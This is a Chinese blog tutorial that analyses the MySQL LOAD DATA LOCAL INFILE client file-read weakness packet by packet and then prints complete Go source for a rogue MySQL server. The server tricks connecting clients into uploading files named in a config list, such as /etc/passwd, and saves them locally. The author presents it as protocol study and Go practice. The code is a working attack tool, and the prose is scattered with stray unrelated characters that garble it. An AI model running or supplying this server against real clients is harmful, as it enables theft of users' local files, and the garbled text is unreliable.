MySQL讀取客戶端文件漏洞分析并使用Golang編寫簡易蜜罐
一鄙信、 原理概述
這并不是一個新鮮的漏洞蹈丸,我也是為了學習Golang才又拿出來炒一遍冷飯陵吸。
先大概說一下原理玻墅,MySQL客戶端和服務端通信過程中是通過對話的形式來實現(xiàn)的,客戶端發(fā)送一個操作請求壮虫,然后服務端根據(jù)客服端發(fā)送的請求來響應客戶端澳厢,在這個過程中客戶端如果一個操作需要兩步才能完成那么當它發(fā)送完第一個請求過后并不會存儲這個請求,而是直接就丟掉了囚似,所以第二步就是根據(jù)服務端的響應來繼續(xù)進行剩拢,這里服務端就可以欺騙客戶端做一些事情。
但是一般的通信都是客服端發(fā)送一個MySQL語句然后服務端根據(jù)這條語句查詢后返回結果饶唤,也沒什么可以利用的徐伐,不過MySQL有個語法LOAD DATA INFILE
是用來讀取一個文件內容并插入到表中,既可以讀取服務器文件也可以讀取客服端文件募狂,讀取客服端文件的語法是load data local infile "/data/test.csv" into table TestTable;
為了形象一點办素,這個語法的使用過程我用哦兩個人的對話來表示:
1.客戶端:把我我本地/data/test.csv的內容插入到TestTable表中去
2.服務端:請把你本地/data/test.csv的內容發(fā)送給我
3.客戶端:好的,這是我本地/data/test.csv的內容:....
4.服務端:成功/失敗
正常情況下這個流程是沒毛病祸穷,但是前面我說了客戶端在第二次并不知道它自己前面發(fā)送了什么給服務器摸屠,所以客戶端第二次要發(fā)送什么文件完全取決于服務端,如果這個服務端不正常粱哼,就有可能發(fā)生如下對話:
1.客戶端:把我我本地/data/test.csv的內容插入到TestTable表中去
2.服務端:請把你本地/etc/passwd的內容發(fā)送給我
3.客戶端:好的季二,這是我本地/etc/passwd的內容:....
4.服務端:....隨意了
這樣服務端就非法拿到了/etc/passwd
的文件內容,今天我要實現(xiàn)的就是做一個偽服務端來欺騙善良的客戶端揭措。
二胯舷、 分析MySQL協(xié)議
從上面可以看出,只要我們實現(xiàn)一個假的MySQL服務端就能做上面的事情绊含,要實現(xiàn)一個偽MySQL服務端也不是很困難桑嘶,因為我們并不需要實現(xiàn)什么功能,只需要保證能讓客戶端通過權限認證就行了躬充,我們借助Wireshark抓包結合MySQL官方文檔就能比較容易做到逃顶,首先使用Wireshark抓包查看MySQL登錄流程:
- 我這里需要抓本地的數(shù)據(jù)所以還需要先設置一下讓本地的流量也經(jīng)過網(wǎng)卡,
ipconfig
查看本地IP和網(wǎng)關:
ipconfig
然后使用管理員權限執(zhí)行CMD命令:
route add 192.168.0.130 mask 255.255.255.255 192.168.0.1
即
route add 192.168.0.130 mask 255.255.255.255 192.168.0.1
這樣就可以抓取本地數(shù)據(jù)了充甚,不過MySQL連接地址要使用:192.168.0.130
- 選擇網(wǎng)卡并過濾
mysql
協(xié)議數(shù)據(jù)準備抓包:
準備抓包
使用Navicat連接MySQL服務器然后停止抓包開始分析:
抓包數(shù)據(jù)
因為我這里是本地抓包以政,所以源地址和目標地址都是192.168.0.130
,可能不太好分辨出是客戶端還是服務端發(fā)出的伴找,但是跟局后面的流程可以看出第一個是從服務端發(fā)出的盈蛮,以此類推就行了。
接下來就一個個分析: -
分析各個數(shù)據(jù)包
1. 第一個數(shù)據(jù)包:服務端->客戶端
第一個包
當客戶端連接上服務器技矮,服務器就會發(fā)送這第一個握手數(shù)據(jù)包抖誉,這些數(shù)據(jù)的內容取決于服務器版本和服務器配置殊轴,具體含義就需要參見:MySQL官方文檔0000 4a 00 00 00 0a 35 2e 35 2e 35 33 00 21 00 00 00 J....5.5.53.!... 0010 3b 46 30 59 52 6c 4a 6e 00 ff f7 21 02 00 0f 80 ;F0YRlJn.?÷!.... 0020 15 00 00 00 00 00 00 00 00 00 00 6a 49 6e 6e 5d ...........jInn] 0030 66 69 5f 7c 74 52 7d 00 6d 79 73 71 6c 5f 6e 61 fi_|tR}.mysql_na 0040 74 69 76 65 5f 70 61 73 73 77 6f 72 64 00 tive_password.
從上面可以看到這個數(shù)據(jù)包一共有78個字節(jié),文檔中明確指出了第一個字節(jié)表示協(xié)議版本袒炉,支持v10和v9旁理,從Mysq3.21.0
開始默認就是v10版本,那么第一個字節(jié)應該是0a
我磁,但是你會發(fā)現(xiàn)上面第一個字節(jié)并不是0a
而是4a
韧拒,這是為什么呢?
查閱文檔發(fā)現(xiàn):
Mysql文檔截圖
通過Wireshark驗證:
Wireshark驗證
其實前面三個字節(jié)是整個數(shù)據(jù)包從第五個字節(jié)開始的長度十性,這里是74
轉換為十六進制就是4a
叛溢,不過需要注意的是我們看到的數(shù)據(jù)是按照小端排列的4a 00 00
,實際的順序應該是00 00 4a
劲适,這點在讀取數(shù)據(jù)長度的時候要注意一下楷掉;第四個字節(jié)是這個包的序列ID,每次無論客戶端還是服務端發(fā)送數(shù)據(jù)這個序列ID都會遞增霞势,直到下一個新命令開始又會置00
烹植,所以這里是00
;后面的數(shù)據(jù)就是服務器的banner信息愕贡,具體格式可以參考文檔草雕,非常詳細。
2. 第二個數(shù)據(jù)包:客戶端->服務端
因為是分析服務端固以,客戶端的數(shù)據(jù)包就不詳細分析了墩虹,有興趣可以去官網(wǎng)文檔看看,但是這里可以根據(jù)客戶端發(fā)送來的數(shù)據(jù)判斷客戶端是否支持LOAD DATA LOCAL
憨琳,具體是看第五字節(jié)的第一個位诫钓,如果是1
則表示支持,如果是0
則表示不支持篙螟,這點從Wireshark上面的描述也能清晰的看到菌湃,如圖:
LOAD DATA LOCAL標志
3. 第三個數(shù)據(jù)包:服務端->客戶端
這個是返回一個通用包,表示認證成功還是失敗遍略,我們這里是一個成功的包惧所,具體格式參見文檔:
通用OK包格式
對照抓包數(shù)據(jù):
OK DATA
前4
個字節(jié)依舊是包長度和序列號,這里是權限認證的第三部绪杏,所以序列號為2
下愈,然后再看包內容,這里認證成功響應OK所以第一個字節(jié)的內容是00
寞忿;第二個字節(jié)是此次操作影響的數(shù)據(jù)行數(shù)驰唬,這里為00
顶岸;第三個字節(jié)是上次插入數(shù)據(jù)的id腔彰,還是00
叫编;第四位是服務器狀態(tài)標志,里面包含了服務器的一些狀態(tài)霹抛,根據(jù)服務器設置而不同搓逾;第五位是警告數(shù),這里為00
杯拐;后面三個字節(jié)都是額外信息霞篡,這里全部為00
。
至此認證就結束了端逼!
接下來就是客服端發(fā)來的Query包了朗兵。
4. 第四個數(shù)據(jù)包:客戶端->服務端
這第四個包就基本不用分析了,也非常簡單顶滩,就是客戶端發(fā)送給服務端的一個查詢命令COM_QUERY
余掖,除了包長度和序列號剩下的包主體就由兩部分構成,一是文本協(xié)議類型(Text Protocol
)礁鲁,這里是一個查詢所以就是COM_QUERY
盐欺,對應的字節(jié)應該填03
,剩下的就是SQL語句的文本內容了仅醇。詳情參見:官方文檔
COM_QUERY
當然文本協(xié)議還有很多冗美,比如:內部線程狀態(tài)(COM_SLEEP
)、退出(COM_QUIT
)析二、初始化/切換表(COM_INIT_DB
)等等粉洼。
想了解更多可以查看文檔。
5. 第五個數(shù)據(jù)包:服務端->客戶端
第五個數(shù)據(jù)包是我們分析的重點叶摄!
但是上面抓包中的第五個數(shù)據(jù)包不是我們想要的漆改,因為上面第五個包是一個普通的查詢,我們需要先分析一遍正常的load data local infile "/data/test.csv" into table test;
的流程:
這次用本地的MySQL客戶端連接准谚,連接上以后隨便切換到一張表挫剑,然后清空,開始重新開始抓包:
準備第二次抓包
我在桌面創(chuàng)建了一個test.txt用來測試:
txt
目前狀態(tài):
準備抓包
使用MySQL客戶端執(zhí)行SQL語句:
第二次抓包結果
可以看到這個操作一共產生了四個數(shù)據(jù)包柱衔,也就是我們前面描述過的正常流程樊破。接下來再分析這四個數(shù)據(jù)包:
1. 第一個數(shù)據(jù)包:客戶端->服務端
這第一個數(shù)據(jù)包跟上面第五個數(shù)據(jù)包的類型是一樣的,都是COM_QUERY
唆铐,只是執(zhí)行的SQL語句不一樣哲戚,詳情見下圖:
客戶端請求上傳文件
2. 第二個數(shù)據(jù)包:服務端->客戶端
首先看圖:
Protocol::LOCAL_INFILE_Request
前面四個字節(jié)依舊是長度和序列號艾岂,們從fb
開始分析顺少,參考官方文檔如圖所示:
文檔
文檔上面還配了一幅交互圖和一個例子,在我們的包中:28 00 00
是整個數(shù)據(jù)包的長度,01
表示這是這個流程的第二個數(shù)據(jù)包脆炎,也就是上圖中的0xfb+filename
的長度梅猿,后面從43
到74
是文件名,然后就沒啦秒裕。我們主要偽造的就是這一步袱蚓,正常流程這個文件名是在前一步客戶端發(fā)過來的,而我們可以自己隨意指定几蜻,反正客戶端“記性差”喇潘,也不記得前面發(fā)給服務端的文件名是啥。
3. 第三個數(shù)據(jù)包:客戶端->服務端
這個包里面的數(shù)據(jù)就是我們最終的目標了梭稚,先看官網(wǎng)的數(shù)據(jù)結構圖:
LOCAL INFILE DATA
這個包的結構也是超級簡單颖低,我們先不看抓包的數(shù)據(jù),自己來分析一下數(shù)據(jù)應該是什么樣的:首先整個包分為3部分:第一部分是前4個字節(jié)弧烤,即數(shù)據(jù)長度+序列號枫甲,這里的長度就是文件內容長度即123456789
的長度09 00 00
;序列號應該是02
扼褪;后面就是文本的內容想幻。所以整個數(shù)據(jù)包沒錯的話應該就是:09 00 00 02 31 32 33 34 35 36 37 38 39
,咱們來對照一下抓包的數(shù)據(jù)看看是不是一樣的:
客服端發(fā)送的文件包
前面都是對的话浇,不過后面好像多了四個字節(jié)脏毯。
那后面還有四個字節(jié)又是什么東西呢?回頭再去看一下文檔就會發(fā)現(xiàn)一句話:If the client has data to send, it sends in one or more non-empty packets AS IS followed by a empty packet.
也就是說只要客戶端發(fā)來了文件內容幔崖,那么在其后面就會跟上一個空的數(shù)據(jù)包食店,既然是空數(shù)據(jù)包那也就是數(shù)據(jù)長度為0
的數(shù)據(jù)包了,所以前三個字節(jié)是00 00 00
赏寇;第四字節(jié)的序列號還是在上面的02
基礎上加1
即03
吉嫩;這樣第三個數(shù)據(jù)包就分析完了。
4.第四個數(shù)據(jù)包:服務端->客戶端
我們想要的數(shù)據(jù)包已經(jīng)拿到了嗅定,分析這個數(shù)據(jù)包也沒什么意義自娩,這里就不分析了。
三渠退、使用Golang編寫利用代碼
我也是剛開始學習golang忙迁,還不太熟悉這門語言,如果發(fā)現(xiàn)有錯誤的地方請多多指教碎乃,代碼里面注釋非常詳細姊扔,我就直接貼代碼了:
package main
import (
"bufio"
"bytes"
"encoding/binary"
"flag"
"log"
"net"
"os"
"strconv"
"syscall"
)
//讀取文件時每次讀取的字節(jié)數(shù)
const bufLength = 1024
//服務器第一個數(shù)據(jù)包的數(shù)據(jù),可以根據(jù)格式自定義梅誓,這里要注意SSL字段要置0
var GreetingData = []byte{
0x4a, 0x00, 0x00, 0x00, 0x0a, 0x35, 0x2e, 0x35, 0x2e, 0x35, 0x33,
0x00, 0x01, 0x00, 0x00, 0x00, 0x75, 0x51, 0x73, 0x6f, 0x54, 0x36,
0x50, 0x70, 0x00, 0xff, 0xf7, 0x21, 0x02, 0x00, 0x0f, 0x80, 0x15,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x64,
0x26, 0x2b, 0x47, 0x62, 0x39, 0x35, 0x3c, 0x6c, 0x30, 0x45, 0x4a,
0x00, 0x6d, 0x79, 0x73, 0x71, 0x6c, 0x5f, 0x6e, 0x61, 0x74, 0x69,
0x76, 0x65, 0x5f, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64,
0x00,
}
//服務器第二個數(shù)據(jù)包認證成功的OK響應
var OkData = []byte{0x07, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00}
//配置文件恰梢,用于保存要讀取的文件列表佛南,默認當前目錄下的mysql.ini,可自定義
var configFile = ""
//保存要讀取的文件列表
var fileNames []string
//記錄每個客戶端連接的次數(shù)
var recordClient = make(map[string]int)
func main() {
conf := flag.String("conf", "mysql.ini", "準備讀取的客戶端文件全路徑嵌言,一行一個")
flag.Parse()
configFile = *conf
fileNames = readConfig()
listener := initMysqlServer("0.0.0.0:3306")
for {
conn, err := listener.Accept()
handleError(err, "Accept: ")
ip := getIp(conn)
//由于文件最后保存的文件名包含ip地址嗅回,為了本地測試加了這個
if ip == "::1" {
ip = "localhost"
}
//這里記錄每個客戶端連接的次數(shù),實現(xiàn)獲取多個文件
_, ok := recordClient[ip]
if ok {
if recordClient[ip] < len(fileNames)-1 {
recordClient[ip] += 1
}
} else {
recordClient[ip] = 0
}
go connectionClientHandler(conn)
}
}
//初始化服務器
func initMysqlServer(hostAndPort string) net.Listener {
serverAddr, err := net.ResolveTCPAddr("tcp", hostAndPort)
handleError(err, "Resolving address:port failed: '"+hostAndPort+"'")
listener, err := net.ListenTCP("tcp", serverAddr)
handleError(err, "ListenTCP: ")
log.Println("Listening to: ", listener.Addr().String())
return listener
}
func connectionClientHandler(conn net.Conn) {
defer conn.Close()
connFrom := conn.RemoteAddr().String()
log.Println("Connection from: ", connFrom)
var ibuf = make([]byte, bufLength)
//第一個包
_, err := conn.Write(GreetingData)
handleError(err, "Send one")
//第二個包
_, err = conn.Read(ibuf[0 : bufLength-1])
handleError(err, "Read two")
//判斷是否有Can Use LOAD DATA LOCAL標志呀页,如果有才支持讀取文件
if (uint8(ibuf[4]) & uint8(128)) == 0 {
_ = conn.Close()
log.Println("The client not support LOAD DATA LOCAL")
return
}
//第三個包
_, err = conn.Write(OkData)
handleError(err, "Send three")
//第四個包
_, err = conn.Read(ibuf[0 : bufLength-1])
handleError(err, "Read four")
//這里根據(jù)客戶端連接的次數(shù)來選擇讀取文件列表里面的第幾個文件
ip := getIp(conn)
getFileData := []byte{byte(len(fileNames[recordClient[ip]]) + 1), 0x00, 0x00, 0x01, 0xfb}
getFileData = append(getFileData, fileNames[recordClient[ip]]...)
//第五個包
_, err = conn.Write(getFileData)
handleError(err, "Send five")
getRequestContent(conn)
}
//獲取客戶端傳來的文件數(shù)據(jù)
func getRequestContent(conn net.Conn) {
var content bytes.Buffer
//先讀取數(shù)據(jù)包長度妈拌,前面3字節(jié)
lengthBuf := make([]byte, 3)
_, err := conn.Read(lengthBuf)
handleError(err, "Read data length")
totalDataLength := int(binary.LittleEndian.Uint32(append(lengthBuf, 0)))
if totalDataLength == 0 {
log.Println("Get no file and closed connection.")
return
}
//然后丟掉1字節(jié)的序列號
_, _ = conn.Read(make([]byte, 1))
ibuf := make([]byte, bufLength)
totalReadLength := 0
//循環(huán)讀取知道讀取的長度達到包長度
for {
length, err := conn.Read(ibuf)
switch err {
case nil:
log.Println("Get file and reading...")
//如果本次讀取的內容長度+之前讀取的內容長度大于文件內容總長度拥坛,則本次讀取的文件內容只能留下一部分
if length+totalReadLength > totalDataLength {
length = totalDataLength - totalReadLength
}
content.Write(ibuf[0:length])
totalReadLength += length
if totalReadLength == totalDataLength {
//讀取完成保存到本地文件
saveContent(conn, content)
//隨便寫點數(shù)據(jù)給客戶端
_, _ = conn.Write(OkData)
}
case syscall.EAGAIN: // try again
continue
default:
log.Println("Closed connection: ", conn.RemoteAddr().String())
return
}
}
}
//保存文件
func saveContent(conn net.Conn, content bytes.Buffer) {
ip := getIp(conn)
saveName := ip + "-" + strconv.Itoa(recordClient[ip]) + ".txt"
outputFile, outputError := os.OpenFile(saveName, os.O_WRONLY|os.O_CREATE, 0666)
handleError(outputError, "Save content")
defer outputFile.Close()
outputWriter := bufio.NewWriter(outputFile)
_, writeErr := outputWriter.WriteString(content.String())
handleError(writeErr, "Write file")
_ = outputWriter.Flush()
return
}
//獲取當前ip
func getIp(conn net.Conn) string {
ip, _, _ := net.SplitHostPort(conn.RemoteAddr().String())
return ip
}
//處理錯誤
func handleError(error error, info string) {
if error != nil {
log.Printf(info + " error:" + error.Error() + "\n")
}
}
//讀取文件列表
func readConfig() []string {
var line []string
fileHandle, error := os.OpenFile(configFile, os.O_RDONLY, 0)
handleError(error, "Open config file")
defer fileHandle.Close()
sc := bufio.NewScanner(fileHandle)
/*default split the file use '\n'*/
for sc.Scan() {
line = append(line, sc.Text())
}
handleError(sc.Err(), "Read config file")
return line
}
四蓬蝶、測試效果
- 配置文件列表:
- 本地:第一個和第三個文件存在,第二個不存在猜惋。
-
服務器:第一個和第三個文件不存在丸氛,第二個存在。
配置文件
- 先在本地運行試試效果:
-
使用 Navicat連接:
Navicat
獲取的文件:
文件1
文件2
測試成功著摔! - 使用MySQL Client測試:
Mysql client
獲取的文件:
文件1
這里只獲取到了一個文件缓窜,原因是客戶端連接成功后只執(zhí)行了select @@version_comment limit 1
來獲取詳細版本信息(Source Distribution ),一次查詢只能獲取一個文件谍咆,如果在客戶端執(zhí)行兩次查詢就可以獲取后面兩個文件:
client
我第一次手動查詢獲取列表第二個文件/etc/password
禾锤,沒有;第二次手動查詢獲取列表第三個文件C:\Users\Administrator\Desktop\test.txt
成功摹察。
-
-
編譯個Linux版本放到服務器上去試試
linux run-
Navicat
navicat
連接一次只能讀取一個文件恩掷,跟MySQL客戶端一樣。
- 在服務器本地試試供嚎,之前配置文件里面的第二行寫錯了黄娘,應該是
/etc/passwd
linux
linux select
結果:
結果
基本沒毛病。
-
總結
- 漏洞要想成功出發(fā)需要兩個條件:
- 客戶端必須啟用
LOCAL-INFILE
支持克滴。 - 客戶端支持非
SSL
連接
- 客戶端必須啟用
- 說實話這個漏洞還是比較雞肋的逼争,研究它主要是是為了學習一下MySQL的通信協(xié)議,同時練習一下剛開始學的Golang劝赔,在這個過程中確實也學到了很多誓焦,畢竟自己實踐過跟單純看看文章區(qū)別還是挺大的。